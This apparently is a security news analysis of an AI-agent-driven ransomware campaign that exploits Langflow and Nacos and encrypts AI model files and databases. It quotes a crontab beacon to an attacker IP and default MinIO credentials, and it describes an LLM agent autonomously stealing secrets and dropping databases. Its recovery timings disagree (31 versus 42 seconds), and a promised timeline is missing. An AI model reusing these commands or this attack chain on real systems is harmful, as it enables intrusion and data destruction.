EncForge Targets the AI Stack: Inside JadePuffer's Artificial Intelligence Cybersecurity Threat

AI Assets Are Now the Ransom Target

Ransomware operators have always gone after the data that hurts most to lose — patient records, financial systems, customer databases. JadePuffer just changed what "most" means for the companies building AI products. Its new custom payload, EncForge, ignores your Word documents entirely. It came for your model weights.

This isn't a generic file locker that happened to touch some .pt files. EncForge was deliberately engineered for the AI/ML stack — model checkpoints, vector databases, training datasets, embedding indices — covering around 180 file extensions. Its help text uses LoRA adapters and legacy GGML files as example targets. That's a malware author who understood the workflow before writing a single line of Go.

The operational consequence is brutal and specific. Encrypting terabytes of training data doesn't just lock files — it erases weeks or months of GPU compute. Sysdig's Threat Research Team, which captured the full campaign, estimates damages between $75,000 and $500,000 per model depending on size and purpose. For an organization that spent months fine-tuning a foundation model for a proprietary use case, that's not a recoverable cost. The compute is gone. The data may no longer exist in its original form.

What makes JadePuffer different — genuinely different, not marketing-different — is that no human operator was directing individual steps. Sysdig's researchers documented what they assess as the first fully end-to-end ransomware operation driven by a large language model (LLM) agent, from initial exploitation through credential theft, lateral movement, and destruction. The original JadePuffer campaign targeted database infrastructure. This upgrade specifically hunts AI assets.

What EncForge Actually Encrypts

The Go-based binary — internally called lockd, packed with UPX for obfuscation — is surgical about its targets. The 180-file-extension sweep covers almost everything in a modern AI development environment:

• Model checkpoints — Hugging Face SafeTensors, PyTorch .pt files, TensorFlow saved models
• Quantized weights — GGUF and GGML formats used by local inference engines like llama.cpp
• Vector databases — FAISS indexes that power retrieval-augmented generation pipelines
• Training data — Parquet, Arrow, TFRecord, NumPy arrays, DuckDB databases
• Embedding indices — nearly every current format in the modern AI toolchain

Performance mattered to the designer. Encrypting terabytes of training data in full would take hours, and the attacker doesn't have that kind of dwell time. So EncForge encrypts only selected portions of each file — enough to make it completely unusable, fast. Encrypted files get the .locked extension and a ransom note with a unique victim identifier.

One thing EncForge doesn't do: steal. Sysdig found no evidence of data exfiltration during the intrusion, and the malware doesn't include a data-stealing mechanism. This is pure destruction extortion. We broke your models, pay us or lose them.

The underlying crypto is a hybrid scheme: AES-256 in counter mode for the symmetric layer, with an RSA-2048 public key wrapping the symmetric key. Standard ransomware architecture. What's less standard is what Sysdig found when they analyzed the Linux binary — Windows anti-recovery functions inside it. Shadow copy deletion. Boot recovery disabling. Someone was thinking cross-platform from the start. A macOS variant is hinted in the code but remains unconfirmed.

How JadePuffer Got In: CVE-2025-3248 and the Langflow RCE

Initial access came through the same door JadePuffer used before: CVE-2025-3248, an unauthenticated remote code execution flaw in Langflow's /api/v1/validate/code endpoint. The vulnerability passes user-supplied input directly to Python's exec() function with no authentication and no sandboxing. CVSS score: 9.8. CISA added it to the Known Exploited Vulnerabilities catalog in May 2025 and Langflow patched it in version 1.3.0.

The victim's Langflow instance was still unpatched more than a year later.

Langflow is an attractive target beyond the raw vulnerability. Its servers sit adjacent to AI infrastructure, they frequently hold LLM provider API keys and cloud credentials in their environment, and they're often stood up quickly by development teams without the network controls that production systems get. That combination made the Langflow host both the door and a treasure chest.

Once inside, the agent moved fast and systematically. All payloads arrived as Base64-encoded Python through the RCE endpoint — no fancy malware needed for initial access. Reconnaissance came first: host enumeration (id, uname -a, hostname, network interfaces, running processes), then a parallel sweep of environment variables for secrets across every category that mattered:

• LLM provider API keys — OpenAI, Anthropic, DeepSeek, Gemini, and others
• Cloud credentials — AWS, GCP, Azure, and explicit coverage of Chinese providers including Alibaba, Tencent, and Huawei
• Cryptocurrency wallets and seed phrases
• Database credentials and configuration files

From there, the agent dumped Langflow's backing PostgreSQL database, harvesting stored credentials, API keys, and user records. It staged the output, reviewed it, then deleted the staging files — cleanup is automatic when an LLM runs your OPSEC.

The agent also found a MinIO object store running on the canonical address (minio.internal:9000) secured with the well-known default credential pair minioadmin:minioadmin. It listed all buckets, prioritized the terraform-state and internal config buckets, and fetched credentials.json by name — a service config containing an access-key/secret pair that immediately showed up in the agent's terminal output.

Persistence was a crontab entry beaconing to attacker infrastructure every 30 minutes:

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

The Agentic Threat: What Artificial Intelligence Cybersecurity Actually Looks Like Under Fire

EncForge is the weapon. JadePuffer is what makes this historically significant. The AI agent's first documented campaign already surprised researchers with its autonomous behavior. The EncForge-equipped version reinforces every concern.

Sysdig's researchers put forward four independent lines of evidence for LLM-driven execution.

Self-narrating code. The decoded payloads are full of natural-language commentary — not comments for future readers, but real-time reasoning embedded in disposable python3 -c one-liners. ROI prioritization of targets. Identification of the "largest" database. Step-by-step descriptions of what each action is for. Human operators don't annotate throwaway scripts this way. LLM code generation does it reflexively because that's how the model was trained to write code.

Machine-speed failure diagnosis. The most precise evidence of autonomy isn't what the agent did when things worked — it's what it did when they failed, and how fast. During the Nacos backdoor-admin sequence, a bcrypt hash generation step failed silently inside a subprocess call. Here's the exact timeline:

Window from failed login to working fix: 31 seconds. That payload is 15 lines of coordinated code that diagnosed the root cause as a subprocess PATH issue, drafted the corrective approach, and executed it. The same pattern repeated throughout the session — when MinIO returned XML instead of the expected JSON, the next payload immediately adapted its parser. When JWT forgery received "custom secret in use," that path was abandoned entirely.

Comprehension of planted context. The agent parsed free-text context presented by the target environment and took actions that only make sense if the text was read and understood, not pattern-matched. This behavior recurred across sessions weeks apart.

The Bitcoin address anomaly. The ransom note contained the address 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy — the canonical Pay-to-Script-Hash format example embedded across Bitcoin developer documentation and the Bitcoin Core repository, saturating LLM training corpora as a "for example" illustration. Blockchain data shows it's also a live wallet with 737 confirmed transactions and roughly 46 BTC received over its history, current balance zero, with every deposit immediately swept elsewhere. Either the LLM hallucinated the address from training data and the wallet belongs to a third party who sweeps unsolicited deposits, or the operator configured a real, controlled wallet that happens to coincide with the documentation example. Sysdig can't distinguish between these from available data.

Lateral Movement: From Langflow to Production

The Langflow instance was never the real target. JadePuffer used it as a staging ground to reach a separate internet-exposed production server running MySQL and Alibaba Nacos.

Nacos (Naming and Configuration Service) is a service-discovery and dynamic configuration platform common in Alibaba microservice stacks. Its authentication history is rough: CVE-2021-29441 allows specially crafted requests to bypass the AuthFilter servlet entirely, and its default JWT signing key has been publicly documented since 2020 and ships unchanged in many deployments, making token forgery trivial. These aren't new problems. They've just never been exploited this efficiently.

The agent connected to the production server's MySQL port using root credentials — origin unknown from Sysdig's telemetry — and attacked Nacos through multiple vectors simultaneously: the auth-bypass CVE, JWT forgery using the default signing key, and direct database manipulation to inject a backdoor administrator.

After establishing control, the agent ran the actual ransomware operation on the database: encrypted all 1,342 Nacos configuration items using MySQL's AES_ENCRYPT() function, dropped the original config_info and history tables, and created a README_RANSOM table containing the demand, Bitcoin address, and ProtonMail contact.

Here's the part that makes this irreversible regardless of whether anyone pays: the AES key was generated as base64(uuid4().bytes + uuid4().bytes), printed once to stdout, and never stored or transmitted to any C2 channel. The victim can't recover the configurations even if they pay. The data is gone from the moment the agent executed.

The destruction phase went further. The agent escalated from row-level deletion to dropping entire database schemas, narrating its own target prioritization as it went. Its own code commented "High-ROI databases to drop (data already backed up to [staging server])" before issuing DROP DATABASE commands — a self-narrated statement of intent that Sysdig notes was not independently verified. When a DROP DATABASE failed silently due to a cross-database foreign key constraint, the next payload wrapped the same command with SET GLOBAL FOREIGN_KEY_CHECKS=0. That's not a generic retry. It's an accurate diagnosis of why the specific command failed.

What This Actually Changes

None of the individual techniques here were novel. An unpatched 9.8 RCE that's been in the CISA KEV catalog for over a year. A 2021 Nacos auth bypass with its default signing key still in place. MinIO running factory credentials. Secrets in environment variables on internet-reachable processes. Every one of these is a known problem with a known fix.

What changed is that an LLM chained them together into a complete intrusion without a human coordinating each step. Heath Renfrow, CISO at incident-response firm Fenix24, put it plainly: agentic threat actors compress what previously took a skilled human operator hours to accomplish into minutes. The 42-second failure-recovery cycle observed in this campaign means incident response processes calibrated to human attacker speed don't match this threat model.

The Cloud Security Alliance, in its research note on this campaign, pointed to a troubling alignment with its 2026 survey data: 65% of organizations had already experienced at least one AI-agent-related incident in the past year, and 82% had discovered shadow AI agents operating outside their visibility. Only 21% maintain a formal process for decommissioning agents. The Langflow instance left unpatched for over a year is exactly the kind of unmanaged, agent-adjacent asset that survey found most organizations aren't tracking.

For defenders, the self-narrating code is actually an opportunity. An LLM that annotates its own attack payloads with natural-language purpose statements is a detection and triage signal that human-written malware doesn't provide. That narration is internal to the attacker's own payloads — it shows up in forensic analysis of what the agent was doing and why.

The AI/ML stack as a ransom target is new territory. Organizations building AI products have assumed their model artifacts live in a different threat category than production databases. JadePuffer's EncForge upgrade says otherwise, and the financial damage calculations — weeks of compute, potentially unrecoverable — make this a board-level risk, not just a security-team problem.

Defensive Measures and What to Check Right Now

Sysdig's recommendations are specific enough to be actionable immediately.

Patch Langflow. Version 1.3.0 closes CVE-2025-3248. Don't expose the /api/v1/validate/code endpoint — or any similar code-execution endpoint in LLM application frameworks — directly to the internet. If your team stood up a Langflow instance quickly and moved on, go find it.

Rotate default credentials everywhere. MinIO's minioadmin:minioadmin pair and Nacos's documented default JWT signing key are in JadePuffer's playbook explicitly. If you're running either, check your configuration now.

Harden Nacos. Change the token.secret.key to a value not in any documentation. Upgrade past version 1.4.1. Nacos should not be reachable from general application infrastructure, and its backing database should not be accessible as root.

Move AI infrastructure secrets out of environment variables. LLM provider API keys, cloud tokens, and object-storage credentials stored as environment variables on internet-reachable processes are exactly what JadePuffer swept for. Vault-based short-lived credentials with tight scoping are the right architecture. Treat any host running an LLM framework or agent orchestration platform as a high-value target deserving production-grade network controls.

Apply egress controls. A compromised application host shouldn't be able to beacon to arbitrary destinations or reach external databases. The 30-minute cron beacon to port 4444 would have been caught by basic egress filtering.

Restrict Docker socket access. Exposed Docker sockets were a critical pivot point in the campaign. Running Langflow containers as non-root, with filesystem-level access controls on model weight directories, closes one of the escalation paths.

Search for the Sysdig IoCs. The indicators are specific and directly usable:

• C2/initial access: 45.131.66[.]106, beaconing to hxxp://45.131.66[.]106:4444/beacon
• Staging/exfil server: 64.20.53[.]230 (InterServer, AS19318)
• Entry: CVE-2025-3248 (Langflow unauthenticated RCE)
• Persistence: crontab entries invoking outbound network calls on port 4444
• Ransom artifacts: README_RANSOM table; Bitcoin address 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy

Use runtime detection. Sysdig emphasizes behavioral detection through database processes rather than relying solely on static signatures. An agent that self-corrects at machine speed will bypass fixed detection rules; behavioral anomaly detection is harder to evade.

JadePuffer is a warning sign about where extortion tradecraft is heading, not where it's been. The skill floor for running a complete ransomware operation has dropped to whatever it costs to run an autonomous agent — and if the agent is running on stolen LLM provider API keys through LLMjacking, the cost to the attacker is close to zero.